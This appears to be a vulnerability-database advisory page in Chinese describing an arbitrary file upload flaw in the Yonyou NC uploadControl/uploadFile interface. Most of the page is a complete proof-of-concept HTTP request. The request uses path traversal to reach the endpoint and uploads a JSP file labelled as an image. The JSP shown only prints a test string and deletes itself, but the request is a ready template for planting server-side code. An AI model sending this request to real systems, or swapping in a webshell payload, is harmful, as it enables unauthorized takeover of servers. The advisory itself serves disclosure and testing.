用友NC /uploadControl/uploadFile 接口存在任意文件上传漏洞

2023-10-07 用友NC PoC Public

Description

用友 NC uploadControl_uploadFile 存在任意文件上传漏洞，攻击者可利用该漏洞获取服务器权限。

PoC

POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 369

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="oopwxv.jsp"
Content-Type: image/jpeg

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarygcflwtei--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/f90ad123-e18d-45a1-ba24-89b7877d8e6e

Related Vulnerabilities